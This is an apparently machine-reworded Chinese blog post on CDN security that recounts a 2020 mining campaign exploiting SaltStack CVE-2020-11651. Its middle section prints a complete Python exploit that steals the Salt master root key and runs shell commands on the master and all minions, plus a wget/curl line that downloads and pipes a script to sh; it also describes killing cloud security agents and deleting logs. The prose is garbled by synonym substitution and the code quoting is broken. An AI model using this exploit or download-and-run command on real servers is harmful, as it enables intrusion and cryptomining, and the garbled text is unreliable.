浅谈CDN网络安全防护方案

2023-06-04 0 966

浅谈CDN网络安全防护方案

浅谈CDN网络安全防护方案

0x00、序言

今天通过SaltStack安全漏洞那个药引子,谈谈CDN信息安全防雷那个热门话题。先谈谈,CDN表述:Content Delivery Network,文本递送互联网,给采用者带来的价值,加速获得其静态或者静态文本,众所周知的应用领域情景,360金山毒霸中的应用领域软件加装,前台采用的就CDN互联网。在比如说现阶段比较火的抖音短音频,采用者在某一地方上载音频后,几百万的采用者都能加速看到,极难想像,假如那个短音频在两台服务器上,几百万人同时去浏览,互联网阻塞延后会多大?

再谈谈SaltStack,是一个伺服器虚拟化网络化管理工作网络平台,几秒钟内就能运转起来,速率特别快,伺服器之间以单通信,可扩展性好,很难大批量管理工作上万部服务器,明显的减少物力与互联网管理工作生产成本。它是克雷姆斯兰县的puppet,saltstack如前所述Python词汇实现,紧密结合轻量消息堆栈(ZeroMQ),Python服务项目器端组件(Pyzmq、PyCrypto、Pyjinjia2、python-msgpack和PyYAML等)构筑,SaltStack是两套C/S构架的互联网管理工作辅助工具,服务项目路由器预设为4505/4506,两个路由器假如对内网对内开放危害性非常大。

现阶段商品化的CDN绝大部分都在采用SaltStack做应用领域软件递送系统。骇客利用SaltStack的远距指示继续执行安全漏洞CVE-2020-11651能直接绕开Salt-Master的证书监督机制,初始化相关表达式向Salt-Minion印发指示继续执行控制代码,最终导致矿机。

浅谈CDN网络安全防护方案

0x01、反击详细情况

浅谈CDN网络安全防护方案

2、通过cve-2x.x.x/sa.sh||wget -q -O- x.x.x.x/sa.sh)|sh

def ping_master():

print(“Attempting to ping master at “+master_ip)

    try:

        msg = {“cmd”:”ping”}

        response = clear_channel.send(msg, timeout=3)

        if response:

return True

    except salt.exceptions.SaltReqTimeoutError:

        return False

    return False

def get_rootkey():

    try:

response = clear_channel.send({cmd:_prep_auth_info}, timeout=2)

        for i in response:

if isinstance(i,dict) and len(i) == 1:

                rootkey = list(i.values())[0]

                print(“Retrieved root key: ” + rootkey)

                return rootkey

return False

    except:

        return False

def send_command_to_minions(command):

print(“Sending command to all minions on master”)

    jid = “{0:%Y%m%d%H%M%S%f}”.format(datetime.datetime.utcnow())

cmd = “/bin/sh -c {0}”.format(command)

msg = {cmd:”_send_pub”,”fun”:”cmd.run”,”arg”:[cmd],”tgt”:”*”,”ret”:””,”tgt_type”:”glob”,”user”:”root”,”jid”:jid}

    try:

        response = clear_channel.send(msg,timeout=3)

        if response == None:

            return True

else:

            return False

    except:

        return False

def master_shell(root_key,command):

    msg = {“key”:root_key,

“cmd”:”runner”,

            fun: salt.cmd,

            “kwarg”:{

                “fun”:”cmd.exec_code”,

                “lang”:”python3″,

“code”:”import subprocess;subprocess.call({},shell=True)”.format(command)

                },

            jid: 20200504042611133934,

            user: sudo_user,

_stamp: 2020-05-04T04:26:13.609688}

    try:

        response = clear_channel.send(msg,timeout=3)

print(“Got response for attempting master shell: “+str(response)+ “. Looks promising!”)

        return True

    except:

        print(“something failed”)

return False

if __name__==”__main__”:

    if len(sys.argv) <= 2:

        print(“Not enough args”)

print(“Use like python3 cve-2020-11651.py)

        sys.exit(1)

    target = sys.argv[1]

    master_minion_root = sys.argv[2]

master_ip = target

    master_port = 4506

    minion_config = {

    transport: zeromq,

    pki_dir: /tmp,

    id: root,

    log_level: debug,

master_ip: master_ip,

    master_port: master_port,

    auth_timeout: 5,

    auth_tries: 1,

master_uri: tcp://{0}:{1}.format(master_ip, master_port)

    }

clear_channel = salt.transport.client.ReqChannel.factory(minion_config, crypt=clear)

    if not ping_master():

        print(“Failed to ping the specified master server, exiting”)

sys.exit(1)

    if master_minion_root == “master” or master_minion_root == “minions”:

        command = sys.argv[3]

rootkey = get_rootkey()

        if not rootkey:

print(“Failed to fetch the root key from the instance. This MAY indicate that it is patched”)

            sys.exit(1)

        else:

            if master_minion_root == “master”:

master_shell(rootkey,command)

            else:

                send_command_to_minions(command)

    elif master_minion_root == “fetchkeyonly”:

        get_rootkey()

else:

        print(“Invalid usage”)

3、继续执行sa.sh做以下操作:

@1、关闭防火墙、设置ulimit、系统syslog日志删除、设置tmp目录权限关闭watchdog,设置ssh共哟啊文件权限,清理tmp目录等。

@2、干掉安骑士,云镜(用齐自身卸载脚本操作),看来阿里云和腾讯云的CDN互联网受到严重的摧残,也说明骇客分子在不断的进化当中,因为很多时候,这种浏览脚本在本机上有主机安全应用领域软件的情况下,都是无效的。

@3、清理cpu资源占用超过10%的进程,保证有更多的硬件资源能矿机。也间接终止其他矿机进程。同时清理docker形式运转的矿机进程。

@4、然后浏览salt-store,释放出罗门币矿机进程。

4、salt-store继续执行以下操作

@1、采用masscan扫描redis伺服器,二进制分析

@2、样本传到virustotal上发现连接的连接C2地址(IP地址)。

由于3、4网上有很多分析,我就不在赘述,不过从整个入侵过程来看,骇客搞的那个脚本目的是短平快,C2更新采用的IP而非域名,那个有点low,但是他把矿机程序开足马力,能挖多久就挖多久,门罗币钱包为:

46V5WXwS3gXfsgR7fgXeGP4KAXtQTXJfkicBoRSHXwGbhVzj1JXZRJRhbMrvhxvXvgbJuyV3GGWzD6JvVMuQwAXxLZmTWkb

那个罗门币里面大约获利400万左右。正好赶上五一期间,但是骇客显然没有互联网管理工作经验,CPU搞那么高,监控肯定能发现,大规模伺服器出现CPU过高情况,肯定会有安全分析人员登录伺服器检查。还有CDN会托管图片等静态资源,突然之间有超时的情况,也会引起重视的。估计4月30号开扫描,挖到5月3号。还有估计也没想到会有那么多CDN服务项目提供商中招。

浅谈CDN网络安全防护方案

0x02、CDN安全防雷计划

针对CDN这种边缘服务项目,其实极难设计安全防雷计划,因为,CDN厂商为了节省资源,二级节点一般部署10台二手伺服器,处理带宽40~80G。一级节点也就20台伺服器,做cache用。公有云CDN业务本身就是赔钱的买卖。你说上两套具备纵深防雷体系的安全解决计划是不现实的。个人觉得只要在物理伺服器上加装主机安全Agent就满足需求了。有的CDN厂商还在CDN机房扩建高防机房,复用带宽,这种情况下,针对主机层面的互联网通信流量,处理尤为重要。所以,主机安全Agent对互联网流量的监控建议disable掉。主要能抓到矿机进程就好。

浅谈CDN网络安全防护方案

浅谈CDN网络安全防护方案

相关文章

发表评论
暂无评论
官方客服团队

为您解决烦忧 - 24小时在线 专业服务